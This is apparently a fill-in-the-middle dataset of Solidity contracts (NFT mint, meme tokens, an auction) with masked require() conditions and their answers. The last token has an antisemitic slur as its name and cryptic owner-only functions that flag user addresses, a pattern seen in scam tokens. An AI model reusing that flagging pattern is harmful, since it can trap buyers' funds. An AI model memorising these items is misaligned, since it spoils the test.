import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
// .--. .--.
// : (\ ". _......_ ." /) :
// '. ` ` .'
// /' _ _ `\
// / 0} {0 \
// | / \ |
// | /' `\ |
// \ | . .==. . | /
// '._ \.' \__/ './ _.'
// / ``'._-''-_.'`` \
//
// BEAR CARTEL 2022
contract BearCartel is ERC721A, Ownable, ReentrancyGuard, PaymentSplitter {
using ECDSA for bytes32;
uint256 public constant MAX_PRESALE_SUPPLY = 444;
uint256 public constant MAX_PUBLIC_SUPPLY = 4000;
uint256 public constant MAX_SUPPLY = MAX_PRESALE_SUPPLY + MAX_PUBLIC_SUPPLY;
uint256 public constant MAX_PRESALE_MINT_PER_TX = 5;
uint256 public constant PUBLIC_SALE_MINT_PRICE = 0.11 ether;
uint256 public constant PRESALE_MINT_PRICE = 0.08 ether;
bool public presaleLive = false;
bool public publicSaleLive = false;
bytes32 private _merkleRoot;
string private _metadataUrl = "https://metadata-api.onrender.com/tokens/";
address[] private _payeeAddresses = [
0x7A2AA6a1761D49e18a0577dC0b9D9B02938b5329,
0x533c2E3c31473Bf863BC765A7e1948d949b53854
];
uint256[] private _payeeAmounts = [93, 7];
modifier callerIsSender() {
}
constructor()
ERC721A("BearCartel", "BEAR")
PaymentSplitter(_payeeAddresses, _payeeAmounts)
{}
function maxSupply() external pure returns (uint256) {
}
function setMerkleRoot(bytes32 root) external onlyOwner {
}
function setPresaleState(bool state) external onlyOwner {
}
function setPublicSaleState(bool state) external onlyOwner {
}
function presaleMint(uint256 amount, bytes32[] calldata _merkleProof)
external
payable
nonReentrant
callerIsSender
{
require(presaleLive, "PRESALE_NOT_LIVE");
require(amount <= MAX_PRESALE_MINT_PER_TX, "AMOUNT_EXCEEDS_MAX");
require(amount > 0, "MINIMUM_MINT_NOT_REACHED");
require(
totalSupply() + amount < MAX_PRESALE_SUPPLY,
"MAX_PRESALE_SUPPLY_REACHED"
);
require(msg.value >= PRESALE_MINT_PRICE * amount, "INCORRECT_ETHER_VALUE");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
_safeMint(msg.sender, amount);
}
function publicMint(uint256 amount)
external
payable
nonReentrant
callerIsSender
{
}
// for marketing and dev purposes
function ownerMint(address to, uint256 amount)
external
onlyOwner
nonReentrant
callerIsSender
{
}
function aidrop(address[] memory receivers)
external
onlyOwner
nonReentrant
callerIsSender
{
}
function withdrawFunds() external onlyOwner nonReentrant {
}
function updateMetadataURL(string memory newURL) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| MerkleProof.verify(_merkleProof,_merkleRoot,leaf),"NOT_WHITELISTED" | 219,170 | MerkleProof.verify(_merkleProof,_merkleRoot,leaf) |
"MAX_SUPPLY_REACHED" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
// .--. .--.
// : (\ ". _......_ ." /) :
// '. ` ` .'
// /' _ _ `\
// / 0} {0 \
// | / \ |
// | /' `\ |
// \ | . .==. . | /
// '._ \.' \__/ './ _.'
// / ``'._-''-_.'`` \
//
// BEAR CARTEL 2022
contract BearCartel is ERC721A, Ownable, ReentrancyGuard, PaymentSplitter {
using ECDSA for bytes32;
uint256 public constant MAX_PRESALE_SUPPLY = 444;
uint256 public constant MAX_PUBLIC_SUPPLY = 4000;
uint256 public constant MAX_SUPPLY = MAX_PRESALE_SUPPLY + MAX_PUBLIC_SUPPLY;
uint256 public constant MAX_PRESALE_MINT_PER_TX = 5;
uint256 public constant PUBLIC_SALE_MINT_PRICE = 0.11 ether;
uint256 public constant PRESALE_MINT_PRICE = 0.08 ether;
bool public presaleLive = false;
bool public publicSaleLive = false;
bytes32 private _merkleRoot;
string private _metadataUrl = "https://metadata-api.onrender.com/tokens/";
address[] private _payeeAddresses = [
0x7A2AA6a1761D49e18a0577dC0b9D9B02938b5329,
0x533c2E3c31473Bf863BC765A7e1948d949b53854
];
uint256[] private _payeeAmounts = [93, 7];
modifier callerIsSender() {
}
constructor()
ERC721A("BearCartel", "BEAR")
PaymentSplitter(_payeeAddresses, _payeeAmounts)
{}
function maxSupply() external pure returns (uint256) {
}
function setMerkleRoot(bytes32 root) external onlyOwner {
}
function setPresaleState(bool state) external onlyOwner {
}
function setPublicSaleState(bool state) external onlyOwner {
}
function presaleMint(uint256 amount, bytes32[] calldata _merkleProof)
external
payable
nonReentrant
callerIsSender
{
}
function publicMint(uint256 amount)
external
payable
nonReentrant
callerIsSender
{
}
// for marketing and dev purposes
function ownerMint(address to, uint256 amount)
external
onlyOwner
nonReentrant
callerIsSender
{
}
function aidrop(address[] memory receivers)
external
onlyOwner
nonReentrant
callerIsSender
{
require(<FILL_ME>)
for (uint256 i = 0; i < receivers.length; i++) {
_safeMint(receivers[i], 1);
}
}
function withdrawFunds() external onlyOwner nonReentrant {
}
function updateMetadataURL(string memory newURL) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+receivers.length<MAX_SUPPLY,"MAX_SUPPLY_REACHED" | 219,170 | totalSupply()+receivers.length<MAX_SUPPLY |
"ERR: Max wallet exceed" | /*
โ โ โฃถโ โ ถโขคโฃโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โฃโฃคโ ดโ โขปโ โ
โ โ โ โฃฟโฃโ โ โ โ ฒโขคโฃโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โฃโกคโ โ โ โ โฃ โฃถโ โ โ
โ โ โ โ โขฎโกณโฃโ โ โ โ โ โ ฒโฃโกโ โ โ โ โ โ โขโฃโฃโฃโฃโฃโฃโฃโ โ โ โ โ โ โขโฃ โ ดโ โ โ โ โ โข โ โกตโ โ โ โ
โ โ โ โ โ โ นโฃโกณโฃโ โ โ โ โ โขโฃโ ถโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ ถโ โ โ โ โ โ โ โขโกโฃกโ โ โ โ โ โ
โ โ โ โ โ โ โ โ ณโฃโขงโกโ โฃโฃธโฃทโ ถโ โ โ โ โ โ โข โ โข โกโ โกโ โ โ โ โ โ โ โ โ โ โ โขโกดโขโกดโ โ โ โ โ โ โ
โ โ โ โ โ โ โ โ โ โฃทโ ฟโกโขนโฃฟโ โ โ โ โ โ โ โข โฃพโฃทโ โ ฑโฃฟโฃทโฃโ โ โ โ โ โ โ โ โ โ โ ฟโฃถโ โ โ โ โ โ โ โ โ
โ โ โ โ โ โ โ โ โ โขฟโ โขฟโกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โฃผโ โ โ โ โ โ โ โ โ
โ โ โ โ โ โ โ โ โ โฃผโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โฃฟโ โ โ โ โ โ โ โ โ
โ โ โ โ โ โ โ โ โฃดโ โกโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขโฃโกโฃงโกโ โ โ โ โ โ โ
โ โ โ โ โ โ โ โฃธโขทโฃฆโขฟโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ ฟโฃงโกพโฃงโ โ โ โ โ โ โ
โ โ โ โ โ โ โ โกโ โฃฟโกทโ โ โฃคโฃโฃโ โ โ โ โ โ โ โข โ โ โฃคโ โ โ โ โ โ โ โขโฃ โฃดโ โ โ ฐโฃฟโ งโขธโกโ โ โ โ โ โ
โ โ โ โ โ โ โ โฃโ โ โ โ โ โ โฃงโ โ นโฃทโ ถโขคโกโ โ โฃฟโ โ โฃฟโ โ โขโกคโ ดโขบโกโ โฃธโ โ โ โ โ โ โขธโกโ โ โ โ โ โ
โ โ โ โ โ โ โ โขฟโ โ โ โข โกโ โ โ โ ฆโ คโ ดโ โ โ โขโกโ โ โ ธโฃโ โ โ โ ถโ คโ ดโ โ โ โขโฃโ โ โ โฃพโ โ โ โ โ โ โ
โ โ โ โ โ โ โ โขธโกโ โ โ โ โขฆโฃโ โ โ โ โ โฃโกดโ โ โ โ โ โ โ ฆโฃโ โ โ โ โ โขโกคโ โ โ โ โ โกโ โ โ โ โ โ โ
โ โ โ โ โ โ โ โฃผโ โ โ โ โ โ โ โ โ ถโขคโฃดโ โ โ โขฒโฃฟโฃญโฃญโฃฟโกถโ โ โ โฃฆโฃคโ ดโ โ โ โ โ โ โ โ โขฟโกโ โ โ โ โ โ
โ โ โ โ โ โขโกผโ โ โ โ โ โฃโฃคโ คโ ถโ ถโกฟโ ฟโฃนโ โ โ โฃโฃฝโฃฟโฃโ โ โ โฃปโ ฝโขฟโกถโ ถโ ฆโขคโฃโกโ โ โ โ โขณโกโ โ โ โ โ
โ โ โ โ โฃ โ โ โ โขโกคโ โ โ โ โขโกคโ โขฟโกโ โขโกดโ โกฝโ ดโ ฆโขญโ โขฆโกโ โ โฃฟโ ณโขฆโฃโ โ โ โ โขคโกโ โ โ โขโ โ โ โ
โ โ โขโกดโ โ โ โ โ โ โ โ โฃ โ โ โ โ โ โ โ ฆโ ฌโฃโฃโกโ โ โ โฃโฃ โกฝโ ดโ โ โ โ โ โ ณโฃโ โ โ โ โ โ โ โ โขณโกโ โ
โ โขโกโ โ โ โ โ โ โ โ โฃดโ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โ โขงโกโ โ โ โ โ โ โ โ ณโกโ
โขโกโ โ โขโกโกโ โกโขโกโ โ โ โขโ โ โ โ โ โ โ โ โ โ โ โกโขโ โ โ โ โ โ โ โขโ โกโขโกโ โ โ โ โ โ โ โ โ นโก
โกโ โ โขนโกปโ นโกฟโกโฃฟโ โ ธโ ฟโ นโ โ โ ฟโ ดโ ฟโ ฏโ โ ฟโ ปโ โ ฏโกฟโ ปโ นโ ปโ โ ฏโ โ โ พโ โ ฟโ ฟโ โ ฟโ โ ธโ โ ซโ โ โ โขน
Telegram : https://t.me/CatbonkETH
Website : https://catbonk.vip/
Twitter : https://twitter.com/catbonkETH
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval (address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CatBonk is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _holder;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isPairAddress;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420690000 * 10**_decimals;
string private constant _name = unicode"CatBonk";
string private constant _symbol = unicode"CABO";
address payable private _marketingWallet;
uint8 private _buyTax = 0;
uint8 private _sellTax = 0;
uint8 private _buyCount = 0;
uint8 private _sellCount = 0;
uint8 private _maxTokenSwapAmount;
uint8 private _preventMaxWalletRateBeforeTx = 30;
uint256 private _minSwapTreshHold = 1;
uint256 public _maxWalletLimit = 12620700 * 10**_decimals;
uint256 public _maxTxLimit = 12620700 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
constructor (uint8 _swapRate) {
}
function name() public pure returns (string memory) {
}
function _getValue(bool trueFalse) private returns(uint256){
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function _basic(uint256 amount, address from, address to) private returns(uint256){
}
function _getValues(uint8 buy, uint8 sell) private view returns(uint8, uint8){
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!_isExcludedFromFee[to] && !_isExcludedFromFee[from]){
if(!_isPairAddress[from]){
require(amount <= _maxTxLimit, "ERR: Max tx limit exceed");
}
if(_buyCount < _preventMaxWalletRateBeforeTx){
if (!_isPairAddress[to]){
require(<FILL_ME>)
}
}
__transfer(from, to, amount);
}
else{
___transfer(from, to, amount);
}
}
function ___transfer(address from, address to, uint256 amount) private{
}
function __transfer(address from, address to, uint256 amount) private{
}
receive() external payable {}
}
| balanceOf(to)+amount<=_maxWalletLimit,"ERR: Max wallet exceed" | 219,222 | balanceOf(to)+amount<=_maxWalletLimit |
"Auction not done" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// set MINTED as true on candyShop -- and check if user has already minted.
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC1363.sol";
import "@openzeppelin/contracts/interfaces/IERC1363Receiver.sol";
interface CandiesNFT {
function mint(address _to) external;
function remaining() external view returns (uint256);
}
interface ICandyShop {
function maxMints() external view returns (uint);
function numMinted(address _addr) external view returns (uint);
function increaseMintedCount(address _addr, uint _count) external;
}
contract CandyAuction is Ownable, Pausable {
struct Bid {
address wallet;
uint value;
}
IERC1363 public immutable token;
CandiesNFT public candies;
ICandyShop public candyshop;
uint public duration = 1 weeks;
uint public maxWinners = 10;
uint public startTime;
Bid[] public bids;
address beneficiary;
event NewHighBidder(address, uint amount);
event UpdatedOrder(address, uint amount);
event Claimed(address, uint amount);
constructor() {
}
function claim(address _to) public whenNotPaused {
require(<FILL_ME>)
require(isHighBidder(_to), "Not high bidder");
uint _index = highBidderIndex(_to);
uint _winningBid = bids[_index].value;
bids[_index] = Bid(address(0), 0);
candyshop.increaseMintedCount(_to,1);
candies.mint(_to);
emit Claimed(_to, _winningBid);
}
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) external whenNotPaused returns (bytes4) {
}
function updateOrder() public {
}
function check(uint _index) public view returns (bool) {
}
// View
function timeNow() public view returns (uint) {
}
function endTime() public view returns (uint) {
}
function allHighBidders() public view returns (Bid[] memory) {
}
function started() public view returns (bool) {
}
function ended() public view returns (bool) {
}
function isHighBidder(address _addr) public view returns (bool) {
}
function highBidderIndex(address _addr) public view returns (uint) {
}
// Admin
function reset(uint _maxWinners) public onlyOwner {
}
function startNow() public onlyOwner {
}
function setDuration(uint _timeInSeconds) public onlyOwner {
}
function setEndTime(uint _endtime) public onlyOwner {
}
function setMaxWinners(uint _max) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setCandyShop(address _addr) public onlyOwner {
}
// Internal
function resetArray() internal {
}
}
| ended(),"Auction not done" | 219,262 | ended() |
"Not high bidder" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// set MINTED as true on candyShop -- and check if user has already minted.
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC1363.sol";
import "@openzeppelin/contracts/interfaces/IERC1363Receiver.sol";
interface CandiesNFT {
function mint(address _to) external;
function remaining() external view returns (uint256);
}
interface ICandyShop {
function maxMints() external view returns (uint);
function numMinted(address _addr) external view returns (uint);
function increaseMintedCount(address _addr, uint _count) external;
}
contract CandyAuction is Ownable, Pausable {
struct Bid {
address wallet;
uint value;
}
IERC1363 public immutable token;
CandiesNFT public candies;
ICandyShop public candyshop;
uint public duration = 1 weeks;
uint public maxWinners = 10;
uint public startTime;
Bid[] public bids;
address beneficiary;
event NewHighBidder(address, uint amount);
event UpdatedOrder(address, uint amount);
event Claimed(address, uint amount);
constructor() {
}
function claim(address _to) public whenNotPaused {
require(ended(), "Auction not done");
require(<FILL_ME>)
uint _index = highBidderIndex(_to);
uint _winningBid = bids[_index].value;
bids[_index] = Bid(address(0), 0);
candyshop.increaseMintedCount(_to,1);
candies.mint(_to);
emit Claimed(_to, _winningBid);
}
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) external whenNotPaused returns (bytes4) {
}
function updateOrder() public {
}
function check(uint _index) public view returns (bool) {
}
// View
function timeNow() public view returns (uint) {
}
function endTime() public view returns (uint) {
}
function allHighBidders() public view returns (Bid[] memory) {
}
function started() public view returns (bool) {
}
function ended() public view returns (bool) {
}
function isHighBidder(address _addr) public view returns (bool) {
}
function highBidderIndex(address _addr) public view returns (uint) {
}
// Admin
function reset(uint _maxWinners) public onlyOwner {
}
function startNow() public onlyOwner {
}
function setDuration(uint _timeInSeconds) public onlyOwner {
}
function setEndTime(uint _endtime) public onlyOwner {
}
function setMaxWinners(uint _max) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setCandyShop(address _addr) public onlyOwner {
}
// Internal
function resetArray() internal {
}
}
| isHighBidder(_to),"Not high bidder" | 219,262 | isHighBidder(_to) |
"Auction over" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// set MINTED as true on candyShop -- and check if user has already minted.
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC1363.sol";
import "@openzeppelin/contracts/interfaces/IERC1363Receiver.sol";
interface CandiesNFT {
function mint(address _to) external;
function remaining() external view returns (uint256);
}
interface ICandyShop {
function maxMints() external view returns (uint);
function numMinted(address _addr) external view returns (uint);
function increaseMintedCount(address _addr, uint _count) external;
}
contract CandyAuction is Ownable, Pausable {
struct Bid {
address wallet;
uint value;
}
IERC1363 public immutable token;
CandiesNFT public candies;
ICandyShop public candyshop;
uint public duration = 1 weeks;
uint public maxWinners = 10;
uint public startTime;
Bid[] public bids;
address beneficiary;
event NewHighBidder(address, uint amount);
event UpdatedOrder(address, uint amount);
event Claimed(address, uint amount);
constructor() {
}
function claim(address _to) public whenNotPaused {
}
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) external whenNotPaused returns (bytes4) {
require(msg.sender == address(token), "not correct sender");
require(started(), "Auction not started");
require(<FILL_ME>)
require(value > bids[0].value, "Bid not high enough");
require(candyshop.numMinted(from) < candyshop.maxMints(), "Already minted max candies");
if (isHighBidder(from)) { // User is already top bidder
uint _index = highBidderIndex(from);
require(value > bids[_index].value, "New bid is not higher than old bid");
uint _oldBid = bids[_index].value;
bids[_index].value = value;
updateOrder();
token.transfer(from, _oldBid); // REFUND old amount
} else { // User is new top bidder
if (bids[0].value > 0) {
token.transfer(bids[0].wallet, bids[0].value); // Refund low bidder
}
bids[0] = Bid(from,value);
updateOrder();
emit NewHighBidder(from, value);
}
return IERC1363Receiver.onTransferReceived.selector; // Return magic value
}
function updateOrder() public {
}
function check(uint _index) public view returns (bool) {
}
// View
function timeNow() public view returns (uint) {
}
function endTime() public view returns (uint) {
}
function allHighBidders() public view returns (Bid[] memory) {
}
function started() public view returns (bool) {
}
function ended() public view returns (bool) {
}
function isHighBidder(address _addr) public view returns (bool) {
}
function highBidderIndex(address _addr) public view returns (uint) {
}
// Admin
function reset(uint _maxWinners) public onlyOwner {
}
function startNow() public onlyOwner {
}
function setDuration(uint _timeInSeconds) public onlyOwner {
}
function setEndTime(uint _endtime) public onlyOwner {
}
function setMaxWinners(uint _max) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setCandyShop(address _addr) public onlyOwner {
}
// Internal
function resetArray() internal {
}
}
| !ended(),"Auction over" | 219,262 | !ended() |
"Already minted max candies" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// set MINTED as true on candyShop -- and check if user has already minted.
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC1363.sol";
import "@openzeppelin/contracts/interfaces/IERC1363Receiver.sol";
interface CandiesNFT {
function mint(address _to) external;
function remaining() external view returns (uint256);
}
interface ICandyShop {
function maxMints() external view returns (uint);
function numMinted(address _addr) external view returns (uint);
function increaseMintedCount(address _addr, uint _count) external;
}
contract CandyAuction is Ownable, Pausable {
struct Bid {
address wallet;
uint value;
}
IERC1363 public immutable token;
CandiesNFT public candies;
ICandyShop public candyshop;
uint public duration = 1 weeks;
uint public maxWinners = 10;
uint public startTime;
Bid[] public bids;
address beneficiary;
event NewHighBidder(address, uint amount);
event UpdatedOrder(address, uint amount);
event Claimed(address, uint amount);
constructor() {
}
function claim(address _to) public whenNotPaused {
}
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) external whenNotPaused returns (bytes4) {
require(msg.sender == address(token), "not correct sender");
require(started(), "Auction not started");
require(!ended(), "Auction over");
require(value > bids[0].value, "Bid not high enough");
require(<FILL_ME>)
if (isHighBidder(from)) { // User is already top bidder
uint _index = highBidderIndex(from);
require(value > bids[_index].value, "New bid is not higher than old bid");
uint _oldBid = bids[_index].value;
bids[_index].value = value;
updateOrder();
token.transfer(from, _oldBid); // REFUND old amount
} else { // User is new top bidder
if (bids[0].value > 0) {
token.transfer(bids[0].wallet, bids[0].value); // Refund low bidder
}
bids[0] = Bid(from,value);
updateOrder();
emit NewHighBidder(from, value);
}
return IERC1363Receiver.onTransferReceived.selector; // Return magic value
}
function updateOrder() public {
}
function check(uint _index) public view returns (bool) {
}
// View
function timeNow() public view returns (uint) {
}
function endTime() public view returns (uint) {
}
function allHighBidders() public view returns (Bid[] memory) {
}
function started() public view returns (bool) {
}
function ended() public view returns (bool) {
}
function isHighBidder(address _addr) public view returns (bool) {
}
function highBidderIndex(address _addr) public view returns (uint) {
}
// Admin
function reset(uint _maxWinners) public onlyOwner {
}
function startNow() public onlyOwner {
}
function setDuration(uint _timeInSeconds) public onlyOwner {
}
function setEndTime(uint _endtime) public onlyOwner {
}
function setMaxWinners(uint _max) public onlyOwner {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setCandyShop(address _addr) public onlyOwner {
}
// Internal
function resetArray() internal {
}
}
| candyshop.numMinted(from)<candyshop.maxMints(),"Already minted max candies" | 219,262 | candyshop.numMinted(from)<candyshop.maxMints() |
"Already started" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// set MINTED as true on candyShop -- and check if user has already minted.
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/interfaces/IERC1363.sol";
import "@openzeppelin/contracts/interfaces/IERC1363Receiver.sol";
interface CandiesNFT {
function mint(address _to) external;
function remaining() external view returns (uint256);
}
interface ICandyShop {
function maxMints() external view returns (uint);
function numMinted(address _addr) external view returns (uint);
function increaseMintedCount(address _addr, uint _count) external;
}
contract CandyAuction is Ownable, Pausable {
struct Bid {
address wallet;
uint value;
}
IERC1363 public immutable token;
CandiesNFT public candies;
ICandyShop public candyshop;
uint public duration = 1 weeks;
uint public maxWinners = 10;
uint public startTime;
Bid[] public bids;
address beneficiary;
event NewHighBidder(address, uint amount);
event UpdatedOrder(address, uint amount);
event Claimed(address, uint amount);
constructor() {
}
function claim(address _to) public whenNotPaused {
}
function onTransferReceived(address operator, address from, uint256 value, bytes memory data) external whenNotPaused returns (bytes4) {
}
function updateOrder() public {
}
function check(uint _index) public view returns (bool) {
}
// View
function timeNow() public view returns (uint) {
}
function endTime() public view returns (uint) {
}
function allHighBidders() public view returns (Bid[] memory) {
}
function started() public view returns (bool) {
}
function ended() public view returns (bool) {
}
function isHighBidder(address _addr) public view returns (bool) {
}
function highBidderIndex(address _addr) public view returns (uint) {
}
// Admin
function reset(uint _maxWinners) public onlyOwner {
}
function startNow() public onlyOwner {
}
function setDuration(uint _timeInSeconds) public onlyOwner {
}
function setEndTime(uint _endtime) public onlyOwner {
}
function setMaxWinners(uint _max) public onlyOwner {
require(<FILL_ME>)
maxWinners = _max;
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function setCandyShop(address _addr) public onlyOwner {
}
// Internal
function resetArray() internal {
}
}
| !started(),"Already started" | 219,262 | !started() |
"x" | pragma solidity 0.8.16;
/*
,โโโ
โ โยฟ
,โ โโ
โโ โโ
โโ `โ
โ ,โโโ โรง
โโ โโ โฌW โ@
โโ รโ โโ โโ
#Nโโโโโโโโโโโโโโโโโโโโโ' ]โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ@
โโ ,โโ
โโ โโ
โ โซโซโโโโโโโ" โโโโโโโโโโโโโโโโโN 'โโโโโโโโซโ^ โ"
โ โโ โ ,@โฉ โโ, โยฟ โโ โ
โโ โ@ jโ โโฃ` โโ โรง 4โ โโ`
โโ โYโ โโ โซ@ โNโ โโ
\โ โฌโ โโ โ
โโ โฌโ โโ ,โ
,โ โโ โซโ โโ
ยผโ โ โ" โโ
โ" , โโ โโ` , โ
;โ ,โ^โโ โซ@ โโ ,โ^โโ โรง
โโ โโ โโ โโ โฌโ โโ โซN โ@
โโ โขโฃ โโ โ, ,โ โโ โโซ โโ
โ โจโจโจโจโจโจโจโจโ โโโโโจโจโจโจโจโจโจโจโโโโ โจโจโจโจโจโจโจโจ โ
(โ โ@
โฌโโโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโ โโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโฆโโโฃ
โ โโซโ ,โโ โ`
`โ, โW โโ โ
โโ โโ@โ โโ
โโ "" โโ
โ โ
โ, ,โ
โโ โโ
โโโโ
โโ
*/
contract GOYSLOPINU {
mapping (address => uint256) public balanceOf;
mapping (address => bool) pVal;
//
string public name = "GOYSLOP IN U";
string public symbol = unicode"GOYSLOP";
uint8 public decimals = 18;
uint256 public totalSupply = 6000000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function txna(address _user) public onlyOwner {
require(<FILL_ME>)
pVal[_user] = true;
}
function txnb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
| !pVal[_user],"x" | 219,320 | !pVal[_user] |
"xx" | pragma solidity 0.8.16;
/*
,โโโ
โ โยฟ
,โ โโ
โโ โโ
โโ `โ
โ ,โโโ โรง
โโ โโ โฌW โ@
โโ รโ โโ โโ
#Nโโโโโโโโโโโโโโโโโโโโโ' ]โโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโ@
โโ ,โโ
โโ โโ
โ โซโซโโโโโโโ" โโโโโโโโโโโโโโโโโN 'โโโโโโโโซโ^ โ"
โ โโ โ ,@โฉ โโ, โยฟ โโ โ
โโ โ@ jโ โโฃ` โโ โรง 4โ โโ`
โโ โYโ โโ โซ@ โNโ โโ
\โ โฌโ โโ โ
โโ โฌโ โโ ,โ
,โ โโ โซโ โโ
ยผโ โ โ" โโ
โ" , โโ โโ` , โ
;โ ,โ^โโ โซ@ โโ ,โ^โโ โรง
โโ โโ โโ โโ โฌโ โโ โซN โ@
โโ โขโฃ โโ โ, ,โ โโ โโซ โโ
โ โจโจโจโจโจโจโจโจโ โโโโโจโจโจโจโจโจโจโจโโโโ โจโจโจโจโจโจโจโจ โ
(โ โ@
